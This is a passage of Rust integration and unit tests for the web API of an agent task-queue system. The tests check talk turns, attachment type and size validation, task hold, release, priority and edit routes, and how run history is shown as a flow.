9132 &format!("/api/talks/{id_a}/say"),
9133 Some(r#"{"text":"again"}"#),
9134 )
9135 .await;
9136 assert_eq!(repeated.status, 202, "{}", repeated.body);
9137 assert_eq!(repeated.json()["pending"], "again");
9138 }
9139
9140 const PNG_BYTES: &[u8] = b"\x89PNG\r\n\x1a\n\x00\x00\x00\x0dIHDR\x00\x00\x00\x01";
9143
9144 #[tokio::test]
9145 async fn a_png_attachment_upload_is_201_and_get_returns_it_with_nosniff() {
9146 let f = Fixture::start().await;
9147 let id = seed_talk(&f, "20260905-000000-a1b2", "open");
9148
9149 let res = f
9150 .post_bytes(
9151 &format!("/api/talks/{id}/attachments"),
9152 &[("Content-Type", "image/png"), ("X-Filename", "shot.png")],
9153 PNG_BYTES,
9154 )
9155 .await;
9156 assert_eq!(res.status, 201, "{}", res.body);
9157 let body = res.json();
9158 assert_eq!(body["name"], "shot.png");
9159 assert_eq!(body["mime"], "image/png");
9160 assert_eq!(body["bytes"], PNG_BYTES.len());
9161 let att_id = body["id"].as_str().expect("id").to_owned();
9162 assert_eq!(
9163 att_id.len(),
9164 32,
9165 "the id must never be a client-suppliable path: {att_id}"
9166 );
9167
9168 let got = f
9169 .get(&format!("/api/talks/{id}/attachments/{att_id}"))
9170 .await;
9171 assert_eq!(got.status, 200, "{}", got.body);
9172 assert_eq!(got.header("content-type"), Some("image/png"));
9173 assert_eq!(got.header("x-content-type-options"), Some("nosniff"));
9174 assert_eq!(got.bytes, PNG_BYTES);
9175 }
9176
9177 #[tokio::test]
9178 async fn an_svg_a_text_file_and_an_oversized_upload_are_all_4xx() {
9179 let f = Fixture::start().await;
9180 let id = seed_talk(&f, "20260905-000000-c3d4", "open");
9181
9182 let svg = f
9185 .post_bytes(
9186 &format!("/api/talks/{id}/attachments"),
9187 &[("Content-Type", "image/svg+xml")],
9188 b"<svg xmlns=\"http://www.w3.org/2000/svg\"></svg>",
9189 )
9190 .await;
9191 assert!(
9192 (400..500).contains(&svg.status),
9193 "svg must be refused: {} {}",
9194 svg.status,
9195 svg.body
9196 );
9197 assert!(svg.body.contains("SVG"), "{}", svg.body);
9198
9199 let text = f
9200 .post_bytes(
9201 &format!("/api/talks/{id}/attachments"),
9202 &[("Content-Type", "text/plain")],
9203 b"just some text",
9204 )
9205 .await;
9206 assert!(
9207 (400..500).contains(&text.status),
9208 "an unlisted type must be refused: {} {}",
9209 text.status,
9210 text.body
9211 );
9212
9213 let oversized = vec![0u8; ATTACHMENT_MAX_BYTES + 1];
9216 let big = f
9217 .post_bytes(
9218 &format!("/api/talks/{id}/attachments"),
9219 &[("Content-Type", "image/png")],
9220 &oversized,
9221 )
9222 .await;
9223 assert_eq!(
9224 big.status,
9225 StatusCode::PAYLOAD_TOO_LARGE.as_u16(),
9226 "{}",
9227 big.body
9228 );
9229 }
9230
9231 #[tokio::test]
9232 async fn a_mislabeled_upload_is_refused_even_though_the_declared_type_is_on_the_whitelist() {
9233 let f = Fixture::start().await;
9234 let id = seed_talk(&f, "20260905-000000-d4e5", "open");
9235
9236 let res = f
9239 .post_bytes(
9240 &format!("/api/talks/{id}/attachments"),
9241 &[("Content-Type", "image/png")],
9242 b"<html>not a picture</html>",
9243 )
9244 .await;
9245 assert!((400..500).contains(&res.status), "{}", res.body);
9246 }
9247
9248 #[tokio::test]
9249 async fn an_unknown_attachment_id_is_a_404() {
9250 let f = Fixture::start().await;
9251 let id = seed_talk(&f, "20260905-000000-e5f6", "open");
9252
9253 let res = f
9254 .get(&format!("/api/talks/{id}/attachments/{}", "0".repeat(32)))
9255 .await;
9256 assert_eq!(res.status, 404, "{}", res.body);
9257 }
9258
9259 #[tokio::test]
9260 async fn talk_say_with_only_an_attachment_and_no_body_is_accepted_and_persists() {
9261 let f = Fixture::start().await;
9262 let id = seed_talk(&f, "20260905-000000-f6a7", "open");
9263
9264 let uploaded = f
9265 .post_bytes(
9266 &format!("/api/talks/{id}/attachments"),
9267 &[("Content-Type", "image/png"), ("X-Filename", "shot.png")],
9268 PNG_BYTES,
9269 )
9270 .await;
9271 assert_eq!(uploaded.status, 201, "{}", uploaded.body);
9272 let att_id = uploaded.json()["id"].as_str().expect("id").to_owned();
9273
9274 let res = f
9275 .post(
9276 &format!("/api/talks/{id}/say"),
9277 Some(&format!(r#"{{"text":"","attachments":["{att_id}"]}}"#)),
9278 )
9279 .await;
9280 assert_eq!(res.status, 202, "{}", res.body);
9281 let queued = res.json();
9282 let turns = queued["turns"].as_array().expect("turns array");
9283 assert_eq!(
9284 turns.len(),
9285 1,
9286 "an empty body with an attachment is still a turn: {queued}"
9287 );
9288 assert_eq!(turns[0]["who"], "operator");
9289 assert_eq!(turns[0]["body"], "");
9290 let atts = turns[0]["attachments"]
9291 .as_array()
9292 .expect("attachments array");
9293 assert_eq!(atts.len(), 1);
9294 assert_eq!(atts[0]["id"], att_id);
9295 assert_eq!(atts[0]["mime"], "image/png");
9296
9297 let on_disk = f.talks().get(&id).expect("get");
9300 assert_eq!(on_disk.turns[0].attachments.len(), 1);
9301 assert_eq!(on_disk.turns[0].attachments[0].id, att_id);
9302 }
9303
9304 #[tokio::test]
9305 async fn saying_with_an_unknown_attachment_id_is_a_4xx_and_records_nothing() {
9306 let f = Fixture::start().await;
9307 let id = seed_talk(&f, "20260905-000000-a7b8", "open");
9308
9309 let res = f
9310 .post(
9311 &format!("/api/talks/{id}/say"),
9312 Some(&format!(
9313 r#"{{"text":"hi","attachments":["{}"]}}"#,
9314 "a".repeat(32)
9315 )),
9316 )
9317 .await;
9318 assert!((400..500).contains(&res.status), "{}", res.body);
9319 assert!(res.body.contains("unknown attachment"), "{}", res.body);
9320
9321 let on_disk = f.talks().get(&id).expect("get");
9322 assert!(
9323 on_disk.turns.is_empty(),
9324 "a rejected attachment id must not partially record the turn: {:?}",
9325 on_disk.turns
9326 );
9327 }
9328
9329 #[tokio::test]
9330 async fn talk_close_makes_the_talk_refuse_further_turns() {
9331 let f = Fixture::start().await;
9332 let id = seed_talk(&f, "20260904-014455-cd34", "open");
9333
9334 let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
9335 assert_eq!(closed.status, 200, "{}", closed.body);
9336 assert_eq!(closed.json()["status"], "closed");
9337
9338 let closed_again = f.post(&format!("/api/talks/{id}/close"), None).await;
9340 assert_eq!(closed_again.status, 200);
9341 assert_eq!(closed_again.json()["status"], "closed");
9342
9343 let said = f
9344 .post(
9345 &format!("/api/talks/{id}/say"),
9346 Some(r#"{"text":"too late"}"#),
9347 )
9348 .await;
9349 assert_eq!(said.status, 409, "{}", said.body);
9350 }
9351
9352 #[tokio::test]
9353 async fn talk_reopen_lets_a_closed_talk_take_turns_again_and_is_idempotent() {
9354 let (_tmp, _repo, f) = talk_fixture().await;
9355 let id = f.post("/api/talks", None).await.json()["id"]
9356 .as_str()
9357 .expect("id")
9358 .to_owned();
9359 let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
9360 assert_eq!(closed.status, 200, "{}", closed.body);
9361
9362 let reopened = f.post(&format!("/api/talks/{id}/reopen"), None).await;
9363 assert_eq!(reopened.status, 200, "{}", reopened.body);
9364 assert_eq!(reopened.json()["status"], "open");
9365
9366 let reopened_again = f.post(&format!("/api/talks/{id}/reopen"), None).await;
9368 assert_eq!(reopened_again.status, 200);
9369 assert_eq!(reopened_again.json()["status"], "open");
9370
9371 let said = f
9372 .post(
9373 &format!("/api/talks/{id}/say"),
9374 Some(r#"{"text":"still there?"}"#),
9375 )
9376 .await;
9377 assert_eq!(
9378 said.status, 202,
9379 "a reopened talk accepts turns again: {}",
9380 said.body
9381 );
9382 }
9383
9384 #[tokio::test]
9385 async fn talk_reopen_on_an_unknown_id_is_404() {
9386 let f = Fixture::start().await;
9387 let res = f.post("/api/talks/nonexistent-id/reopen", None).await;
9388 assert_eq!(res.status, 404, "{}", res.body);
9389 }
9390
9391 #[tokio::test]
9392 async fn talk_delete_removes_the_talk_from_disk_and_the_list() {
9393 let f = Fixture::start().await;
9394 let id = seed_talk(&f, "20260904-014455-ef56", "closed");
9395
9396 let deleted = f.delete(&format!("/api/talks/{id}")).await;
9397 assert_eq!(deleted.status, 204, "{}", deleted.body);
9398
9399 let after = f.get(&format!("/api/talks/{id}")).await;
9400 assert_eq!(after.status, 404, "{}", after.body);
9401
9402 let listed = f.get("/api/talks").await.json();
9403 assert!(
9404 listed.as_array().unwrap().iter().all(|t| t["id"] != id),
9405 "a deleted talk must not linger in the list: {listed}"
9406 );
9407 }
9408
9409 #[tokio::test]
9410 async fn talk_delete_on_an_unknown_id_is_404() {
9411 let f = Fixture::start().await;
9412 let res = f.delete("/api/talks/nonexistent-id").await;
9413 assert_eq!(res.status, 404, "{}", res.body);
9414 }
9415
9416 #[tokio::test]
9420 async fn task_detail_lists_every_run_with_what_kind_of_attempt_it_was() {
9421 let f = Fixture::start().await;
9422 let (a, b, gone) = (
9423 "20260902-140501-aaaa",
9424 "20260902-140502-bbbb",
9425 "20260902-140503-cccc",
9426 );
9427 write_run(&f.runs(), a, RunStatus::Stalled);
9428 let mut review = RunState::new(
9429 PathBuf::from("/repo/magi"),
9430 "main".to_owned(),
9431 "0123456789abcdef".to_owned(),
9432 "Review the work already on branch `magi/aaaa/A`. There is no task statement."
9433 .to_owned(),
9434 Config::default(),
9435 );
9436 review.id = b.to_owned();
9437 review.status = RunStatus::Merged;
9438 write_state(&f.runs(), &review);
9439
9440 let mut task = Task::new(
9441 "retry".to_owned(),
9442 "Do the thing".to_owned(),
9443 PathBuf::from("/repo/magi"),
9444 Source::Human,
9445 );
9446 task.start(a.to_owned());
9447 task.stall("quota");
9448 task.start(a.to_owned());
9449 task.start(b.to_owned());
9450 task.start(gone.to_owned());
9451 f.queue().put(&mut task).expect("file the task");
9452
9453 let res = f.get(&format!("/api/queue/{}", task.id)).await;
9454 assert_eq!(res.status, 200, "{}", res.body);
9455 let v = res.json();
9456 let h = v["history"].as_array().expect("history");
9457 assert_eq!(h.len(), 4, "{v}");
9458 assert_eq!(h[0]["kind"], "competition");
9459 assert_eq!(h[0]["status"], "stalled");
9460 assert_eq!(h[0]["provisional"], true, "a stall is never a decision");
9461 assert_eq!(h[1]["kind"], "resume", "{v}");
9462 assert!(
9463 h[0]["outcome"]
9464 .as_str()
9465 .unwrap()
9466 .contains("unknown. Pass #2"),
9467 "an earlier pass of a resumed run must not claim the final outcome: {v}"
9468 );
9469 assert!(
9470 !h[1]["outcome"].as_str().unwrap().contains("unknown."),
9471 "{v}"
9472 );
9473 assert!(
9474 !h[0]["outcome"].as_str().unwrap().contains("parked it"),
9475 "an unrecorded cause must not be narrated as an operator park: {v}"
9476 );
9477 assert_eq!(h[2]["kind"], "review");
9478 assert!(
9479 h[2]["description"]
9480 .as_str()
9481 .unwrap()
9482 .contains("magi/aaaa/A")
9483 );
9484 assert_eq!(h[2]["status"], "merged");
9485 assert_eq!(h[3]["readable"], false, "an unreadable run is shown");
9486 assert_eq!(v["runs_unreadable"], 1);
9487 let nodes = v["flow"]["nodes"].as_array().expect("flow nodes");
9488 assert_eq!(nodes.len(), 6, "start + four passes + end: {v}");
9489 assert_eq!(nodes[4]["note"], "unreadable");
9490 assert_eq!(v["flow"]["edges"].as_array().unwrap().len(), 5);
9491 assert_eq!(v["instruction"], "Do the thing");
9492 assert!(v["attempts_note"].as_str().unwrap().contains("handed back"));
9493
9494 let run = f.get(&format!("/api/runs/{a}")).await.json();
9496 assert_eq!(run["task"]["id"], task.id.as_str(), "{run}");
9497
9498 assert_eq!(f.get("/api/queue/nosuchtask").await.status, 404);
9499 }
9500
9501 fn flow_run(status: RunStatus, edit: impl FnOnce(&mut RunState)) -> RunState {
9502 let mut s = RunState::new(
9503 PathBuf::from("/repo/magi"),
9504 "main".to_owned(),
9505 "0123456789abcdef".to_owned(),
9506 "Do it".to_owned(),
9507 Config::default(),
9508 );
9509 s.status = status;
9510 edit(&mut s);
9511 s
9512 }
9513
9514 fn flow_task(runs: &[&str]) -> Task {
9515 let mut t = Task::new(
9516 "t".to_owned(),
9517 "Do it".to_owned(),
9518 PathBuf::from("/repo/magi"),
9519 Source::Human,
9520 );
9521 for r in runs {
9522 t.start((*r).to_owned());
9523 }
9524 t
9525 }
9526
9527 fn flow_for(task: &Task, states: &[(&str, Option<RunState>)]) -> FlowView {
9528 let h = task_history(task, |id| {
9529 states
9530 .iter()
9531 .find(|(i, _)| *i == id)
9532 .and_then(|(_, s)| s.clone())
9533 });
9534 task_flow(task, &h, 5)
9535 }
9536
9537 #[test]
9538 fn flow_opens_with_the_chat_that_queued_the_task() {
9539 let mut t = flow_task(&[]);
9540 t.source = Source::Agent {
9541 run: "a b/c".to_owned(),
9542 node: crate::queue::CHAT_NODE.to_owned(),
9543 };
9544 let f = flow_for(&t, &[]);
9545 assert_eq!(f.nodes[0].key, "chat");
9546 assert_eq!(f.nodes[0].kind, "chat");
9547 assert_eq!(
9548 f.nodes[0].label,
9549 format!("Chat {}", crate::queue::short("a b/c"))
9550 );
9551 assert_eq!(f.nodes[0].href.as_deref(), Some("#/chat/a%20b%2Fc"));
9552 assert_eq!(f.nodes[1].key, "start");
9553 assert_eq!(
9554 f.edges[0],
9555 FlowEdge {
9556 from: "chat".to_owned(),
9557 to: "start".to_owned(),
9558 label: "queued from chat".to_owned(),
9559 attempt: AttemptCost::None,
9560 }
9561 );
9562 }
9563
9564 #[test]
9565 fn flow_has_no_chat_box_for_other_sources() {
9566 for source in [
9567 Source::Human,
9568 Source::Issue {
9569 number: 3,
9570 repo: "o/r".to_owned(),
9571 },
9572 Source::Agent {
9573 run: "20260904-014455-ab12".to_owned(),
9574 node: "implement".to_owned(),
9575 },
9576 ] {
9577 let mut t = flow_task(&[]);
9578 t.source = source;
9579 let f = flow_for(&t, &[]);
9580 assert_eq!(f.nodes[0].key, "start");
9581 assert!(f.nodes.iter().all(|n| n.kind != "chat"));
9582 assert!(f.edges.iter().all(|e| e.from != "chat"));
9583 }
9584 }
9585
9586 const FA: &str = "20260902-140501-aaaa";
9587 const FB: &str = "20260902-140502-bbbb";
9588
9589 #[test]
9590 fn flow_follows_blocked_retry_merged_to_done() {
9591 let mut t = flow_task(&[FA, FB]);
9592 t.status = TaskStatus::Done;
9593 let f = flow_for(
9594 &t,
9595 &[
9596 (FA, Some(flow_run(RunStatus::Blocked, |_| {}))),
9597 (FB, Some(flow_run(RunStatus::Merged, |_| {}))),
9598 ],
9599 );
9600 let keys: Vec<_> = f.nodes.iter().map(|n| n.key.as_str()).collect();
9601 assert_eq!(keys, ["start", "run-1", "run-2", "end"]);
9602 assert_eq!(f.edges.len(), 3);
9603 assert_eq!(f.edges[0].label, "claimed");
9604 assert_eq!(f.edges[1].label, "blocked, attempt spent \u{2192} retry");
9605 assert_eq!(f.edges[1].attempt, AttemptCost::Spent);
9606 assert_eq!(f.edges[2].label, "merged \u{2192} done");
9607 assert_eq!(
9608 f.nodes[2].href.as_deref(),
9609 Some("#/runs/20260902-140502-bbbb")
9610 );
9611 assert!(f.nodes[2].decided);
9612 }
9613
9614 #[test]
9615 fn flow_quota_stall_is_refunded_and_never_decided_then_resumes() {
9616 let quota = || {
9617 flow_run(RunStatus::Stalled, |s| {
9618 s.quota.push(crate::run::QuotaLoss {
9619 seat: "judge-1".to_owned(),
9620 node: "judge".to_owned(),
9621 at: Timestamp::now(),
9622 reset: None,
9623 })
9624 })
9625 };
9626 let mut t = flow_task(&[FA, FA]);
9627 t.status = TaskStatus::Queued;
9628 let f = flow_for(&t, &[(FA, Some(quota()))]);
9629 assert_eq!(f.nodes.len(), 4, "a repeated id is one node per pass");
9630 assert_eq!(f.nodes[1].note, Some("interrupted"));
9631 assert_eq!(
9632 f.nodes[1].status, None,
9633 "no outcome copied onto an earlier pass"
9634 );
9635 assert_eq!(
9636 f.edges[1].attempt,
9637 AttemptCost::Unknown,
9638 "a resume does not prove the earlier pass was refunded"
9639 );
9640 assert!(f.edges[1].label.contains("resume the same run"));
9641 assert_eq!(f.edges[2].attempt, AttemptCost::Unknown);
9642 assert_eq!(
9643 f.edges[2].label,
9644 "stalled after a resume, refund unknown \u{2192} queued"
9645 );
9646 assert!(!f.nodes[2].decided, "a stall is not a decision");
9647 assert_eq!(f.nodes[2].note, Some("no verdict"));
9648 }
9649
9650 #[test]
9651 fn flow_single_pass_quota_stall_is_refunded() {
9652 let t = flow_task(&[FA]);
9653 let f = flow_for(
9654 &t,
9655 &[(
9656 FA,
9657 Some(flow_run(RunStatus::Stalled, |s| {
9658 s.quota.push(crate::run::QuotaLoss {
9659 seat: "judge-1".to_owned(),
9660 node: "judge".to_owned(),
9661 at: Timestamp::now(),
9662 reset: None,
9663 })
9664 })),
9665 )],
9666 );
9667 assert_eq!(f.edges[1].attempt, AttemptCost::Refunded);
9668 }
9669
9670 #[test]
9671 fn flow_parked_refunds_and_stall_without_quota_spends() {
9672 let mut t = flow_task(&[FA]);
9673 t.status = TaskStatus::Queued;
9674 let f = flow_for(
9675 &t,
9676 &[(
9677 FA,
9678 Some(flow_run(RunStatus::Implementing, |s| s.parked = true)),
9679 )],
9680 );
9681 assert_eq!(f.edges[1].label, "parked, attempt refunded \u{2192} queued");
9682 assert_eq!(f.edges[1].attempt, AttemptCost::Refunded);
9683 let f = flow_for(&t, &[(FA, Some(flow_run(RunStatus::Stalled, |_| {})))]);
9684 assert_eq!(f.edges[1].attempt, AttemptCost::Spent);
9685 assert!(!f.nodes[1].decided);
9686 }
9687
9688 #[test]
9689 fn flow_keeps_an_unreadable_run_as_its_own_node() {
9690 let t = flow_task(&[FA, FB]);
9691 let f = flow_for(&t, &[(FB, Some(flow_run(RunStatus::Blocked, |_| {})))]);
9692 assert_eq!(f.nodes[1].note, Some("unreadable"));
9693 assert!(!f.nodes[1].readable);
9694 assert_eq!(f.nodes[1].run_kind, Some("unknown"));
9695 assert_eq!(f.edges[1].attempt, AttemptCost::Unknown);
9696 }
9697
9698 #[test]
9699 fn flow_names_the_branch_of_a_review_only_run() {
9700 let t = flow_task(&[FA]);
9701 let f = flow_for(
9702 &t,
9703 &[(
9704 FA,
9705 Some(flow_run(RunStatus::Merged, |s| {
9706 s.instruction = "Review the work already on branch `magi/x/A`. Go.".to_owned()
9707 })),
9708 )],
9709 );
9710 assert_eq!(f.edges[0].label, "review-only run of branch magi/x/A");
9711 assert_eq!(
9712 f.nodes[1].detail.as_deref(),
9713 Some("review-only run of branch magi/x/A")
9714 );
9715 }
9716
9717 #[test]
9718 fn flow_ends_held_with_the_pr_left_open_and_flags_hand_edits() {
9719 let mut t = flow_task(&[FA]);
9720 t.status = TaskStatus::Held;
9721 let pr = crate::run::PrRecord {
9722 url: "https://example.test/pr/1".to_owned(),
9723 number: 1,
9724 state: "open".to_owned(),
9725 checks: "green".to_owned(),
9726 round: 0,
9727 rounds: 3,
9728 red_at_merge: Vec::new(),
9729 };
9730 let blocked = flow_run(RunStatus::Blocked, |s| s.pr = Some(pr));
9731 let f = flow_for(&t, &[(FA, Some(blocked.clone()))]);
9732 assert_eq!(f.edges[1].label, "blocked, PR left open \u{2192} held");
9733 t.status = TaskStatus::Done;
9734 let f = flow_for(&t, &[(FA, Some(blocked))]);
9735 assert_eq!(f.edges[1].label, "closed by hand: task is done");
9736 }
9737
9738 #[test]
9739 fn flow_with_no_runs_goes_from_queued_to_queued() {
9740 let t = flow_task(&[]);
9741 let f = flow_for(&t, &[]);
9742 assert_eq!(f.nodes.len(), 2);
9743 assert_eq!(f.edges.len(), 1);
9744 assert_eq!(f.edges[0].label, "no run yet \u{2192} queued");
9745 assert_eq!(f.edges[0].attempt, AttemptCost::None);
9746 }
9747
9748 #[test]
9751 fn a_parked_non_terminal_run_is_explained_as_parked() {
9752 let mut s = RunState::new(
9753 PathBuf::from("/repo/magi"),
9754 "main".to_owned(),
9755 "0123456789abcdef".to_owned(),
9756 "Do it".to_owned(),
9757 Config::default(),
9758 );
9759 s.status = RunStatus::Implementing;
9760 s.parked = true;
9761 let task = Task::new(
9762 "t".to_owned(),
9763 "Do it".to_owned(),
9764 PathBuf::from("/repo/magi"),
9765 Source::Human,
9766 );
9767 let v = task_run_view(
9768 "20260902-140501-aaaa",
9769 Some(&s),
9770 RunSlot {
9771 n: 1,
9772 resumed: false,
9773 resumed_later: None,
9774 prior: None,
9775 last: true,
9776 },
9777 &task,
9778 );
9779 assert!(v.outcome.contains("Parked"), "{}", v.outcome);
9780 }
9781
9782 fn earlier_pass_view(edit: impl FnOnce(&mut RunState)) -> TaskRunView {
9783 let mut s = flow_run(RunStatus::Implementing, edit);
9784 s.parked = false;
9785 let task = flow_task(&["20260902-140501-aaaa", "20260902-140501-aaaa"]);
9786 task_run_view(
9787 "20260902-140501-aaaa",
9788 Some(&s),
9789 RunSlot {
9790 n: 1,
9791 resumed: false,
9792 resumed_later: Some(2),
9793 prior: None,
9794 last: false,
9795 },
9796 &task,
9797 )
9798 }
9799
9800 #[test]
9801 fn an_earlier_pass_with_no_recorded_cause_is_unknown_not_parked() {
9802 let v = earlier_pass_view(|_| {});
9803 assert!(v.outcome.contains("not recorded"), "{}", v.outcome);
9804 assert!(v.outcome.contains("unknown"), "{}", v.outcome);
9805 assert!(!v.outcome.contains("parked it"), "{}", v.outcome);
9806 assert!(!v.outcome.contains("handed back."), "{}", v.outcome);
9807 assert_eq!(v.exit, RunExit::Interrupted);
9808 assert_eq!(v.attempt, AttemptCost::Unknown);
9809 }
9810
9811 #[test]
9812 fn an_earlier_pass_with_a_recorded_rate_limit_does_not_claim_it_as_the_cause() {
9813 let v = earlier_pass_view(|s| {
9814 s.quota.push(crate::run::QuotaLoss {
9815 seat: "judge-1".to_owned(),
9816 node: "judge".to_owned(),
9817 at: Timestamp::now(),
9818 reset: None,
9819 });
9820 });
9821 assert!(v.outcome.contains("may or may not"), "{}", v.outcome);
9822 assert!(v.outcome.contains("unknown"), "{}", v.outcome);
9823 assert_eq!(v.attempt, AttemptCost::Unknown);
9824 }
9825
9826 #[test]
9827 fn the_current_pass_states_its_recorded_cause_and_cost() {
9828 let slot = || RunSlot {
9829 n: 1,
9830 resumed: false,
9831 resumed_later: None,
9832 prior: None,
9833 last: true,
9834 };
9835 let task = flow_task(&["20260902-140501-aaaa"]);
9836 let parked = flow_run(RunStatus::Implementing, |s| s.parked = true);
9837 let v = task_run_view("20260902-140501-aaaa", Some(&parked), slot(), &task);
9838 assert_eq!(
9839 (v.exit, v.attempt),
9840 (RunExit::Parked, AttemptCost::Refunded)
9841 );
9842 let spent = flow_run(RunStatus::Blocked, |_| {});
9843 let v = task_run_view("20260902-140501-aaaa", Some(&spent), slot(), &task);
9844 assert_eq!(v.attempt, AttemptCost::Spent);
9845 assert!(v.outcome.contains("spent an attempt"), "{}", v.outcome);
9846 }
9847
9848 #[tokio::test]
9849 async fn holding_then_releasing_returns_a_task_to_the_loop_with_a_fresh_budget() {
9850 let f = Fixture::start().await;
9851 let queue = f.queue();
9852 let mut task = Task::new(
9853 "spent".to_owned(),
9854 "Try again".to_owned(),
9855 PathBuf::from("/repo/magi"),
9856 Source::Human,
9857 );
9858 task.start("20260902-140502-bbbb".to_owned());
9859 task.fail("agent gave up", 9);
9860 queue.put(&mut task).expect("file the task");
9861
9862 let held = f.post(&format!("/api/queue/{}/hold", task.id), None).await;
9863 assert_eq!(held.status, 200);
9864 assert_eq!(held.json()["status_str"], "held");
9865
9866 let released = f
9867 .post(&format!("/api/queue/{}/release", task.id), None)
9868 .await;
9869 assert_eq!(released.status, 200);
9870 assert_eq!(released.json()["status_str"], "queued");
9871 assert_eq!(
9872 released.json()["attempts"],
9873 0,
9874 "release is a real second chance, not an instant re-hold"
9875 );
9876 assert_eq!(
9877 queue.get(&task.id).expect("reload").status,
9878 TaskStatus::Queued,
9879 "the change is on disk, not only in the reply"
9880 );
9881 assert!(
9882 !f.home
9883 .path()
9884 .join("queue")
9885 .join(format!("{}.lock", task.id))
9886 .exists(),
9887 "the claim the mutation took is released again"
9888 );
9889 }
9890
9891 #[tokio::test]
9892 async fn a_task_a_daemon_is_running_cannot_be_changed_from_the_phone() {
9893 let f = Fixture::start().await;
9894 let queue = f.queue();
9895 let mut task = Task::new(
9896 "busy".to_owned(),
9897 "Running right now".to_owned(),
9898 PathBuf::from("/repo/magi"),
9899 Source::Human,
9900 );
9901 queue.put(&mut task).expect("file the task");
9902 let _claim = queue.claim(&task.id).expect("stand in for the daemon");
9903
9904 let res = f.post(&format!("/api/queue/{}/hold", task.id), None).await;
9905
9906 assert_eq!(res.status, 409);
9907 assert_eq!(
9908 queue.get(&task.id).expect("reload").status,
9909 TaskStatus::Queued,
9910 "the refused hold changed nothing"
9911 );
9912 }
9913
9914 #[tokio::test]
9915 async fn holding_with_a_reason_reads_back_from_show_and_the_card_and_release_clears_it() {
9916 let f = Fixture::start().await;
9917 let queue = f.queue();
9918 let mut task = Task::new(
9919 "waiting on the migration".to_owned(),
9920 "Do the thing".to_owned(),
9921 PathBuf::from("/repo/magi"),
9922 Source::Human,
9923 );
9924 queue.put(&mut task).expect("file the task");
9925
9926 let held = f
9927 .post(
9928 &format!("/api/queue/{}/hold", task.id),
9929 Some(r#"{"reason":"waiting for 20260101-000000-aaaa to land"}"#),
9930 )
9931 .await;
9932 assert_eq!(held.status, 200, "{}", held.body);
9933 assert_eq!(held.json()["status_str"], "held");
9934 assert_eq!(
9935 held.json()["hold_reason"],
9936 "waiting for 20260101-000000-aaaa to land"
9937 );
9938
9939 let listed = f.get("/api/queue").await.json();
9940 assert_eq!(
9941 listed[0]["hold_reason"], "waiting for 20260101-000000-aaaa to land",
9942 "the card reads the reason off the same list route"
9943 );
9944
9945 let mut plain = Task::new(
9948 "no reason given".to_owned(),
9949 "Do another thing".to_owned(),
9950 PathBuf::from("/repo/magi"),
9951 Source::Human,
9952 );
9953 queue.put(&mut plain).expect("file the task");
9954 let held_plain = f.post(&format!("/api/queue/{}/hold", plain.id), None).await;
9955 assert_eq!(held_plain.status, 200, "{}", held_plain.body);
9956 assert!(held_plain.json()["hold_reason"].is_null());
9957
9958 let released = f
9959 .post(&format!("/api/queue/{}/release", task.id), None)
9960 .await;
9961 assert_eq!(released.status, 200);
9962 assert!(
9963 released.json()["hold_reason"].is_null(),
9964 "a release must clear the reason so the next hold does not inherit it"
9965 );
9966 }
9967
9968 #[tokio::test]
9969 async fn priority_can_be_raised_from_the_phone_and_moves_the_task_ahead() {
9970 let f = Fixture::start().await;
9971 let queue = f.queue();
9972 let mut older = Task::new(
9973 "filed first".to_owned(),
9974 "x".to_owned(),
9975 PathBuf::from("/repo/magi"),
9976 Source::Human,
9977 );
9978 older.id = "20260101-000001-aaaa".to_owned();
9979 let mut newer = Task::new(
9980 "filed second".to_owned(),
9981 "x".to_owned(),
9982 PathBuf::from("/repo/magi"),
9983 Source::Human,
9984 );
9985 newer.id = "20260101-000002-bbbb".to_owned();
9986 queue.put(&mut older).expect("file older");
9987 queue.put(&mut newer).expect("file newer");
9988
9989 let before = f.get("/api/queue").await.json();
9992 assert_eq!(before[0]["id"], newer.id);
9993 assert_eq!(before[1]["id"], older.id);
9994
9995 let raised = f
9999 .post(
10000 &format!("/api/queue/{}/priority", older.id),
10001 Some(r#"{"priority":10}"#),
10002 )
10003 .await;
10004 assert_eq!(raised.status, 200, "{}", raised.body);
10005 assert_eq!(raised.json()["priority"], 10);
10006
10007 let after = f.get("/api/queue").await.json();
10008 let names: Vec<&str> = after
10009 .as_array()
10010 .unwrap()
10011 .iter()
10012 .map(|t| t["id"].as_str().unwrap())
10013 .collect();
10014 assert_eq!(names[0], older.id, "the raised task now sorts first");
10018 }
10019
10020 #[tokio::test]
10021 async fn priority_is_refused_on_a_running_task_with_a_reason_in_the_body() {
10022 let f = Fixture::start().await;
10023 let queue = f.queue();
10024 let mut task = Task::new(
10025 "in flight".to_owned(),
10026 "x".to_owned(),
10027 PathBuf::from("/repo/magi"),
10028 Source::Human,
10029 );
10030 task.start("20260902-140502-bbbb".to_owned());
10031 queue.put(&mut task).expect("file the task");
10032
10033 let res = f
10034 .post(
10035 &format!("/api/queue/{}/priority", task.id),
10036 Some(r#"{"priority":9}"#),
10037 )
10038 .await;
10039 assert_eq!(res.status, 400, "{}", res.body);
10040 assert!(
10041 res.json()["error"]
10042 .as_str()
10043 .is_some_and(|e| e.contains("running")),
10044 "{}",
10045 res.body
10046 );
10047 assert_eq!(
10048 queue.get(&task.id).expect("reload").priority,
10049 0,
10050 "the refused write must not partially apply"
10051 );
10052 }
10053
10054 #[tokio::test]
10055 async fn editing_replaces_title_and_instruction_and_keeps_id_created_at_source_and_runs() {
10056 let f = Fixture::start().await;
10057 let queue = f.queue();
10058 let mut task = Task::new(
10059 "old title".to_owned(),
10060 "old instruction".to_owned(),
10061 PathBuf::from("/repo/magi"),
10062 Source::Agent {
10063 run: "20260101-000000-beef".to_owned(),
10064 node: "implement".to_owned(),
10065 },
10066 );
10067 task.runs.push("20260101-000000-beef".to_owned());
10068 queue.put(&mut task).expect("file the task");
10069 let created_at = task.created_at;
10070
10071 let edited = f
10072 .post(
10073 &format!("/api/queue/{}/edit", task.id),
10074 Some(r#"{"title":"new title","instruction":"new instruction"}"#),
10075 )
10076 .await;
10077 assert_eq!(edited.status, 200, "{}", edited.body);
10078 let body = edited.json();
10079 assert_eq!(body["title"], "new title");
10080 assert_eq!(body["instruction"], "new instruction");
10081 assert_eq!(body["id"], task.id, "editing must not mint a new id");
10082 assert_eq!(body["created_at"], created_at.to_string());
10083 assert_eq!(
10084 body["source"]["kind"], "agent",
10085 "editing a task an agent filed must not turn it human: {body}"
10086 );
10087 assert_eq!(body["runs"], serde_json::json!(["20260101-000000-beef"]));
10088
10089 let reloaded = queue.get(&task.id).expect("reload");
